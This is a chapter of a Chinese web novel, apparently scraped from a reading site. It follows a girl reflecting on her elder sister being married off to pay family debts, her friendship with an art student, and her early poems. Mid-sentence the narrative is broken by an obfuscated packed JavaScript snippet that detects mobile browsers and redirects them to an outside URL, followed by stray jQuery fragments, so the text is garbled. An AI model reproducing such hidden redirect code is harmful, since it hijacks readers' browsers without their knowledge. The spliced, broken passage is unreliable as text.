123读书网 > 都市小说 > 神鹿树 > 23.塞翁失马,焉知非福。

23.塞翁失马,焉知非福。

    戴琴对那个春节,印象深刻。


    姐姐一共在家里待了四天,第四天晚上,即将分离的时候,戴琴躺在床上,望着窗外照进来的月光,心里涌出浓浓的不舍。


    她想起很多姐姐少女时期的事,那时候她很漂亮,皮肤白得像蚌壳里的珍珠。还有一个壮硕俊美的蒙古族小伙喜欢她,他们看起来很要好。


    戴琴总觉得他们应该在一起的,可是一场蝗灾带来了变故。爸爸从马上摔下来,摔断了腿,我哥哥正值高三需要钱……姐姐就把自己嫁出去了……


    哦,不对,是卖了。


    卖了五万块,刚好够抵债。


    可是家里面没觉得她这是卖身,只是觉得她和普通人一样,嫁了一个男人,结婚生子。


    实际上,天底下的很多女孩子都是这样,陪在一个不爱的人身边,说着划算与性价比这样的事,把自己出卖。


    有的呢,清醒点,卖了个好价钱。有的呢,是小糊涂蛋,被人卖了都算不清楚帐。


    戴琴那时候很心疼姐姐,所以在她离开的那个夜晚,她问了姐姐一个蠢问题。


    她说:“姐姐,你爱比勒格吗?”


    室内陷入了一阵长久的沉默。


    就在戴琴以为姐姐压根没有听到自己的问题时,姐姐回话了。


    姐姐颤抖着开口:“你问这个做什么?你……是不是有喜欢的男孩?”


    戴琴很果决地说自己没有。


    不知为何,向来信任她的姐姐,略有迟疑道:“真的没有?”


    “嗯,没有。”


    她回答得太果断,戴丝这才宛若松了口气,重新沉寂下来。她沉默片刻,方才答道:“爱不爱的,不是你这个年纪想的东西”


    “诺儿,你那么聪明,是家里最聪明的女孩子。努力学习,考大学才是你应该考虑的问题。”


    戴琴忽然感觉到自己压在被角的脚踝,被一只手牢牢地攥着:“无论什么,你一定不要放弃读书。”


    姐姐的手粗粝,厚实,一种坚定的温暖与刻在灵魂深处的期盼通过肌肤传递过来:“你要考上大学,去更远的地方,看更精彩的世界。”


    戴琴静默了许久,才抬手抱住了姐姐冰凉的脚,回了三个字:“我会的。”


    她们没有再继续交谈,一种落寞萦绕在戴琴心头。


    其实上高中的时候,姐姐黛丝的成绩很好。高考之后,她填的志愿是内蒙古大学汉语言文学,还被录取了。


    但是当时哥哥刚上高一,如果姐姐戴丝那时候上大学的话,两年后家里供不了两个大学生。


    姐姐就这样被牺牲掉了。


    像一个祭品,为这个家,为这个社会牺牲掉了。


    多子女的家庭总是这样的,好像总要牺牲掉几个人,才能维持一个家的运作。


    可她总是想不明白,为什么牺牲的是姐姐。姐姐明明已经拿到了大学通知书,可以去上学。


    哥哥还在上高一,能不能考上大学还两说。


    就因为哥哥能成家立业,继承家业吗?


    可是后来呢?哥哥准备在呼和浩特定居,一年半载都不会回来。


    长姐的辍学与出嫁,令她物伤其类。父母有条件的爱,令她困惑又茫然。


    后来的后来,她才明白人都是自私的。


    年轻的时候还好,但随着年纪增长,体能下降,人对死亡就会产生一种恐惧,渐渐的也就没有办法维持从前的开明。如果没有坚定的信念,以及强力的体魄,人老了想要依靠子女是很正常的事。


    至于嫁出去的女儿……


    老话里说的那句“泼出去的水”,在戴琴看来它很有问题。更客观的解释应该是儿女各自成家之后,理应先为自己的小家着想,再考虑生养自己的大家庭。


    只是现实生活并不会如理想中那么完满,大家陷在自己各自的人生里,思想觉悟也因为接受的教育和经历不在一个层面上,仅仅是在赡养父母层面上都无法做到有钱的出钱,有力的出力。


    当然这还不是最糟糕的,最糟糕的是父母有资产的家庭,这些孩子不仅不赡养父母,还为了一点家产争得头破血流,把一母同胎的情分全部糟蹋了。


    她的长姐真的很好很好。


    就是太好了,被驯化得太乖了,所以从来不会为自己思考。


    她读过书,上过学,考虑了自己的父亲和弟弟,却没有为自己考虑。


    她用自己的婚姻换回了家里的和平,看似牺牲自我很伟大,实则一点也不自爱。


    以她们家的条件,当时姐姐继续打工,向老板借钱,向村里借钱,也能借到五万块。


    解决的办法那么多,为什么一定要卖自己呢?


    戴琴觉得自己的想法很冷酷,对长姐也过于苛责。


    因为在那个地方,所有有女孩的家庭是可以随时被牺牲掉的。


    五头羊,十头羊,三万块,五万块……数额多少,没有区别,统统都是祭品。


    因为她不知道自己是一个完整的劳动力,她可以靠着自己的体力,劳力打工顶起一个家。


    因为没人信任她,没人认可她,在那样的境地里,她唯一能做的就是把自己卖掉。用自己的‘牺牲’,换来哥哥的前途。


    在她们全家人的眼里,姐姐对哥哥学习的全力支持,就是对这个家庭最大的回馈。


    比起自己的姐姐,又或者是塔娜这种早早就被牺牲掉的女孩,戴琴的处境可以说是相当的温良。


    这种温良的环境,甚至模糊掉她大部分感官,觉得敖小陆存在的那个“妇女能顶半边天”的世界才是现实。


    实际上恰恰相反,电视上反复提倡的概念,其实才是理想的国度。


    长姐的经历给戴琴给戴琴带来了一阵小小的冲击,她那颗敏锐又纤细的心朝四周小心翼翼地探出嫩芽,于温良之中触碰到了尖锐的刺痛。


    她开始真正的思考,真正的上进是什么?


    是考上一个好大学?功成名就衣锦还乡,按照父母的期盼嫁给一个符合世俗标准的人吗?


    敖小陆说的“好好活着”又意味着什么?


    第一幸福是吃饱穿暖,第二幸福是有自己的爱好?爱好是什么?


    信念?精神追求?


    戴琴开始变得迷茫。


    不知道自己喜欢做什么事,将来要成为什么样的人,所以就很羡慕敖小陆。


    敖小陆好像永远都不会茫然,一直一直都在画画,哪怕画到天荒地老也会画下去。


    实际上这是正常的。


    大多数人十七八岁的时候都不知道将来要做什么,要么是在埋头苦学,要么是在埋头苦干,在电子厂打工……


    大家都心无所定,前途未卜,和秋风吹散的蒲公英一样,渴望着落地生根的安稳。。


    但如果早早地落地生根,就会感慨,啊……我这辈子也就这样到头了。


    戴琴也想不到要过什么样的生活,只是坚定了两个认知:第一,一定不能像姐姐那样。


    第二:要和敖小陆在一起。


    在一起?


    什么样的在一起?


    在同一所学校教书,一个是语文老师,一个是美术老师,周末去写生,寒暑假全国各地旅游,钓鱼摸石头那种在一起吗?


    还是一起承担生活的重担,有过风风雨雨的在一起呢?


    文君开始陷入了另一种茫然。


    时间转眼即逝,来到了高二下学期。


    敖小陆进了集训班,和市里其他几个学校的美术生一起集训,为一年后的联考和美术学院校考做准备。


    集训的地点安排在美术馆,恰好和学校是反方向,这也就意味着敖小陆白天的文化课全都上不了。


    为了让她不落下进度,戴琴认真地做了笔记,让她晚上下课记得背诵。不仅如此,她还安排了课后练习和试卷,等到敖小陆周末休息的时候抽空检查。


    敖小陆白天画素描,晚上回来还要背书,学得晕头转向苦哈哈。以前有戴琴陪着还好说,现在没有戴琴陪着她人都学崩溃了。


    持续两周之后,她实在是忍不住和戴琴发牢骚:“学不下去了,背东西实在是太无聊了,我不干了……”


    有一天周末,难得碰面,戴琴陪着敖小陆一起背书,她把书一扔瘫坐在地上,就开始耍赖……


    呜呜呜呜地假哭,一边哭一边抗议,说难得在一起,要玩不要学习。


    敖小陆有时候真的很像个小孩子,真的让人没法子。


    戴琴问她:“那你不背书,就考不上呼和浩特的大学,我们还怎么在一起呢?”


    敖小陆也不知道从哪里翻出了一个录音机还有一堆磁带,让戴琴念诵课文给她录下来,说这样她平时就能自己边听边跟读了。


    至于周末,那当然是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248694|197689||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    和好朋友一起玩耍的时间啦。


    戴琴就这么给她录了。


    明明是个很怕麻烦的人,可戴琴在敖小陆面前却是有求必应。


    仿佛这一生的退让,都给了对方。


    一开始敖小陆课业还没那么忙,她们周末还能见一面,后来敖小陆学业越来越吃紧,两人周末只能打个照面,刚好够戴琴把学习资料给她。


    磁带里不能录下的学习叮嘱,只好写成信,一并交给敖小陆。


    先前的“素质教育”还在影响着市重的学生,开学不久之后学生会和广播站各自出了一部分学生,在吕昉的教导下成立了一个新的部门——新闻校刊部。


    恰好戴琴在学生会和广播站都有职务,再加上人美多才,就被推了出去。与她一同被推出去的,还有陆绵绵。


    陆绵绵是吕昉的得意门生,手上早就有几篇散文稿子预备了。戴琴不想在这件事上浪费时间,思想来去,她准备写诗。


    她一共写了两首诗,塞进信里,一起给敖小陆看了。


    “春日闲谈其一:


    春天是什么?春天是一只鸟给大地献上一粒种子的时刻,当嫩绿的春芽冒出芽尖,蛰伏了一个冬天的幼虫破蛹而出,虔诚的善信得到了春的馈赠。万物复苏,四季轮转,一切刚刚开始。”


    “春日闲谈其二:


    白桦树的枝头冒出了芽尖,长尾雀欢快地落在上面。叽叽喳喳,叽叽喳喳,也不知从何方来的,又经过谁的窗前,听起来总像某一个人的调子。仿佛在说:来点白桦树汁嘛朋友……”


    戴琴深知自己水平不怎么地,可是敖小陆觉得还不错,还给她画了插画。


    对戴琴来说,鼓励比起批评更重要。


    无论什么时候,敖小陆都是不扫兴的。


    她把戴琴吹的天上有,地下无,要不是戴琴清楚自己有几斤几两,鼻子都要超过皮诺曹的,戳穿地球了。


    有这么一个挚友在身旁,戴琴的第三首诗就好很多了。


    那是一首长诗,写的是戴琴曾经的一个梦——


    “在草原深处,流传着一首唱了千年的歌谣。


    呼伦湖流淌着丰沛的河水,九曲蜿蜒。


    所经之处,水草丰盈,牛羊遍地。


    那里没有豺狼虎豹,只有鸟语花香。


    不需要斧子,也用不上柴刀。


    花样年华的少女背着背篓就能满载而归。


    歌谣唱啊唱,从妈妈的妈妈,唱到现在。


    我背着背篓穿过迷雾,来到那片传说中的草原。


    可是妈妈啊……


    丰盈的是脚下的腐水,遍地的是披着牛羊皮的尸骨。


    我迷失在了传说中的丰饶之地里。


    我很害怕。


    迷雾以我的恐惧为食,


    黑暗以我的害怕为乐。


    腐烂的水草缠住我的四肢,


    它们锋利的叶片割破我的血肉,一片一片割下来……


    我的骨将留在此地成为虚假的牛羊,


    非人的魂将顶着我的血肉,


    作为伥鬼,作为人类,引诱新的替身前来。


    妈妈,我该何去何从?


    如果我有斧头,如果我有柴刀,如果我有火炬……


    付之一炬吧,这不值一提的埋骨之地。


    我将化作点燃牧人箭羽的火,


    伴随她刺穿莽古斯的命……


    ……


    ”


    伴随着敖小陆的鼓励,戴琴的勇气日益增加,对自己才华也越来越肯定。


    她开始有意无意地朝一些世俗方向成功的人靠拢。


    比如特级教师,医生,公务员,新闻联播主持人……


    都是当时在她那个阶层能够看到的精英人士,并且开始为此努力。


    相较于高一时期一头扎在学习上,她开始跟自己哥哥请教,在广播站里和学生会上开始崭露头角。


    具体表现为担任广播站的站长,参加一些市内的演讲比赛,尽可能地发挥自己的外型和学习上的优势,有一次甚至还拿到了市里英语比赛的一等奖。


    不过她又是第三名,前面两名才有机会去首府参加省里的比赛。给敖小陆写信的时候,她极其义愤填膺:“我恨三这个数字!”


    敖小陆哈哈大笑,安慰她说“塞翁失马焉知非福呢,或许腾格里对她另有安排。”